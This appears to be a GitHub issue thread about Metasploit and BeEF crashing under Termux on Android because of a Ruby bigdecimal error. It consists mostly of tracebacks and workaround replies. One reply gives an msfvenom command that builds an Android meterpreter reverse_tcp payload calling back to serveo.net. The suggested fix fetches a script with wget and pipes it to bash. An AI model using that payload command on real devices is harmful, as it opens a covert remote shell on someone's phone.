How'd you do it?
$ ./msfconsole
metasploit-credential not in the bundle, so Metasploit::Credential creation will fail for Msf::DBManager
Traceback (most recent call last):
31: from ./msfconsole:48:in <main>'
30: from ./msfconsole:48:inrequire'
29: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload_generator.rb:2:in <top (required)>'
28: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload_generator.rb:2:inrequire'
27: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload/apk.rb:3:in <top (required)>'
26: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload/apk.rb:3:inrequire'
25: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core.rb:59:in <top (required)>'
24: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire_with_backports'
23: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require'
22: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/db_manager.rb:24:in<class:DBManager>'
20: from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/require.rb:115:inoptionally_include_metasploit_credential_creation'
19: from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/require.rb:68:in optionally_include_metasploit_credential_creation'
18: from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/require.rb:22:inoptionally'
17: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require_with_backports'
16: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire'
15: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/metasploit-credential-3.0.3/lib/metasploit/credential.rb:11:in <top (required)>'
14: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire_with_backports'
13: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require'
12: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/metasploit_data_models-3.0.5/lib/metasploit_data_models.rb:15:inrequire_with_backports'
10: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire'
9: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activerecord-4.2.11/lib/active_record.rb:32:in <top (required)>'
8: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activerecord-4.2.11/lib/active_record.rb:130:in
7: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require_with_backports'
6: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire'
5: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activerecord-4.2.11/lib/active_record/connection_adapters/abstract_adapter.rb:3:in <top (required)>'
4: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire_with_backports'
3: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require'
2: from /data/data/com.termux/files/usr/lib/ruby/2.6.0/bigdecimal/util.rb:9:inrequire_with_backports'
/data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire': dlopen failed: cannot locate symbol "rmpd_util_str_to_d" referenced by "/data/data/com.termux/files/usr/lib/ruby/2.6.0/aarch64-linux-android/bigdecimal/util.so"... - /data/data/com.termux/files/usr/lib/ruby/2.6.0/aarch64-linux-android/bigdecimal/util.so (LoadError)
14: from ./msfconsole:48:in <main>'
13: from ./msfconsole:48:inrequire'
12: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload_generator.rb:2:in <top (required)>'
11: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload_generator.rb:2:inrequire'
10: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload/apk.rb:3:in <top (required)>'
9: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload/apk.rb:3:inrequire'
8: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core.rb:59:in <top (required)>'
7: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire_with_backports'
6: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require'
5: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/db_manager.rb:24:in<class:DBManager>'
3: from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/require.rb:115:inoptionally_include_metasploit_credential_creation'
2: from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/require.rb:68:in optionally_include_metasploit_credential_creation'
1: from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/require.rb:20:inoptionally'
/data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/require.rb:25:in rescue in optionally': undefined methodwithout' for #
Get this with the version command in msfconsole (or git log -1 --pretty=oneline for a source install).
What OS are you running Metasploit on?
OS: Android 9 aarch64
Termux is not officially supported. #11023
However, Metasploit reportedly does work with Termux.
Refer to the following for more information:
I don't know why i am getting this error, metasploit was working fine no errors, before i uninstalled termux. I tried to install metasploit yesterday but getting the error above.
Is there any fix for that ?
Ask the termux people, metasploit already gave their response.
I also get the same error
Even with other metasploit installers 馃槩
Please stop posting to this. The issue is not related to metasploit and therefore you won't receive help. Seek help on the termux pages/site, they will be able to assist
Ok
try this:
wget https://github.com/termux/termux-packages/files/2912002/fix-ruby-bigdecimal.sh.txt
bash fix-ruby-bigdecimal.sh.txt
and this after the one above:
$PREFIX/lib/ruby/2.6.0/aarch64-linux-android/bigdecimal/util.so
THANKS TO XEFFYR
it worked for me
Thanks for the 馃槝
thank bro worked for me
Thanks!
msfvenom -p android/meterpreter/reverse_tcp LHOST=serveo.net LPORT=4564 R
/data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activesupport-4.2.11.1/lib/active_support/core_ext/object/duplicable.rb:111: warning: BigDecimal.new is deprecated; use BigDecimal() method instead.
how to fix
data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activesupport-4.2.11.1/lib/active_support/core_ext/object/duplicable.rb:111: warning: BigDecimal.new is deprecated; use BigDecimal() method instead. is just a warning, you can ignore it for now.
@@21MRunknown12
21MRunknown12 What about arm?
Traceback (most recent call last):
14: from ./beef:44:in <main>'
13: from /data/data/com.termux/files/usr/lib/ruby/site_ruby/2.6.0/rubygems/core_ext/kernel_require.rb:54:inrequire'
12: from /data/data/com.termux/files/usr/lib/ruby/site_ruby/2.6.0/rubygems/core_ext/kernel_require.rb:54:in require'
11: from /data/data/com.termux/files/home/beef/core/loader.rb:16:inrequire'
9: from /data/data/com.termux/files/usr/lib/ruby/site_ruby/2.6.0/bundler/runtime.rb:65:inrequire'
8: from /data/data/com.termux/files/usr/lib/ruby/site_ruby/2.6.0/bundler/runtime.rb:65:in each'
7: from /data/data/com.termux/files/usr/lib/ruby/site_ruby/2.6.0/bundler/runtime.rb:76:inblock in require'
6: from /data/data/com.termux/files/usr/lib/ruby/site_ruby/2.6.0/bundler/runtime.rb:76:in each'
5: from /data/data/com.termux/files/usr/lib/ruby/site_ruby/2.6.0/bundler/runtime.rb:81:inblock (2 levels) in require'
4: from /data/data/com.termux/files/usr/lib/ruby/site_ruby/2.6.0/bundler/runtime.rb:81:in require'
3: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/dm-core-1.2.1/lib/dm-core.rb:3:inrequire'
1: from /data/data/com.termux/files/usr/lib/ruby/2.6.0/bigdecimal/util.rb:9:in
/data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activesupport-4.2.11/lib/active_support/core_ext/object/duplicable.rb:111: warning: BigDecimal.new is deprecated; use BigDecimal() method instead.
Traceback (most recent call last):
6: from msfvenom:428:in <main>'
5: from msfvenom:55:inframework'
4: from msfvenom:36:in init_framework'
3: from msfvenom:18:inrequire_deps'
2: from /data/data/com.termux/files/usr/lib/ruby/site_ruby/2.6.0/rubygems/core_ext/kernel_require.rb:92:in require'
1: from /data/data/com.termux/files/usr/lib/ruby/site_ruby/2.6.0/rubygems/core_ext/kernel_require.rb:92:inrequire'
/data/data/com.termux/files/home/metasploit-framework/lib/msfenv.rb:17:in <top (required)>': undefined methodapplication' for Rails:Module (NoMethodError)
Most helpful comment
try this:
wget https://github.com/termux/termux-packages/files/2912002/fix-ruby-bigdecimal.sh.txt
bash fix-ruby-bigdecimal.sh.txt
and this after the one above:
$PREFIX/lib/ruby/2.6.0/aarch64-linux-android/bigdecimal/util.so
THANKS TO XEFFYR